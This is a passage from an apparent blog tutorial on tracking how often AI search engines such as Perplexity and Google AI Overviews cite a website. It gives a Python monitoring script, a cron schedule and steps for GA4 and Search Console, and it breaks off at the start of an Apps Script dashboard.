&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check_citation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Queries Perplexity and returns citation position data.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.perplexity.ai/chat/completions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Authorization&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Bearer &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;API_KEY&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;application/json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;model&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;llama-3.1-sonar-small-128k-online&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;messages&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;return_citations&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;citations&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;citations&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[])&lt;/span&gt;

        &lt;span class="n"&gt;position&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;citations&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;DOMAIN&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cited&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;position&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;position&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;position&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;total_sources&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;citations&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cited&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;position&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;total_sources&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;error&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;today&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;today&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;isoformat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GEO Monitor | &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;today&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; | Domain: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;DOMAIN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;QUERIES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;check_citation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;✓&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cited&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;✗&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="n"&gt;pos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; [#&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;position&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cited&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="si"&gt;}{&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;date&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;today&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;query&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cited&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cited&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;position&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;position&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;total_sources&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;total_sources&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RATE_LIMIT_DELAY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;file_exists&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;newline&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;writer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DictWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fieldnames&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;date&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;query&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cited&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;position&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;total_sources&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;file_exists&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeheader&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writerows&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;cited&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cited&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;rate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cited&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Citation Rate: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cited&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;rate&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Saved → &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Schedule with Cron
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Run every Monday at 09:00 - add via crontab -e&lt;/span&gt;
0 9 &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; 1 &lt;span class="nb"&gt;cd&lt;/span&gt; ~/geo-monitor &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nv"&gt;PERPLEXITY_API_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;your_key &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nv"&gt;GEO_DOMAIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;your-domain.com &lt;span class="se"&gt;\&lt;/span&gt;
  python3 geo_monitor.py &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; logs/geo_&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +&lt;span class="se"&gt;\%&lt;/span&gt;Y&lt;span class="se"&gt;\%&lt;/span&gt;m&lt;span class="si"&gt;)&lt;/span&gt;.log 2&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Method 4. Analyzing AI Referrers in GA4
&lt;/h2&gt;

&lt;p&gt;Even without any API, you can check AI traffic directly in GA4.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Navigation:&lt;/strong&gt; GA4 → Reports → Acquisition → Traffic acquisition&lt;/p&gt;

&lt;p&gt;Apply a filter on the &lt;strong&gt;Session source&lt;/strong&gt; dimension and look for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;perplexity.ai   → Perplexity referrals
chatgpt.com     → ChatGPT Search referrals
you.com         → You.com AI
phind.com       → Phind (developer-focused)
bing.com        → Copilot (blended with regular Bing)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Surfacing "hidden" AI traffic from the direct bucket:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In GA4 → Explore, create a custom &lt;strong&gt;Funnel exploration&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Step 1: Session medium = &lt;code&gt;(none)&lt;/code&gt; (pure direct traffic)&lt;/li&gt;
&lt;li&gt;Step 2: Landing page contains &lt;code&gt;/posts/&lt;/code&gt; (or your content path)&lt;/li&gt;
&lt;li&gt;Step 3: Session duration &lt;code&gt;&amp;gt; 60 seconds&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Long reading sessions landing directly on specific technical articles are very likely AI referrals where the browser stripped the referrer header - this is common with Claude and mobile AI apps.&lt;/p&gt;




&lt;h2&gt;
  
  
  Method 5. Google Search Console - AI Overview Data
&lt;/h2&gt;

&lt;p&gt;Search Console has a dedicated filter for tracking your presence in AI Overviews.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Navigation:&lt;/strong&gt; Performance → Search type: Web → + New filter → Search appearance → &lt;strong&gt;AI Overview&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This view shows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Impressions:&lt;/strong&gt; How often your content appeared inside an AI Overview answer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Clicks:&lt;/strong&gt; Clicks coming directly from AI Overview link anchors.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CTR:&lt;/strong&gt; AI Overview CTR typically runs 0.5-2% (vs. 3-5% for classic top-organic positions).&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Important reality check:&lt;/strong&gt; If impressions climb while clicks stay flat, that's not a failure - it's a zero-click citation win. Your domain is being used as the reference source to validate the AI-generated answer.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Method 6. Google Sheets Dashboard with Apps Script
&lt;/h2&gt;

&lt;p&gt;Import your CSV from the Python script and use this Apps Script to generate a weekly citation report automatically.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Google Apps Script - GEO Citation Dashboard&lt;/span&gt;
&lt;span class="c1"&gt;// Paste via Extensions → Apps Script → Run&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;setupDashboard&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ss&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;SpreadsheetApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getActiveSpreadsheet&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

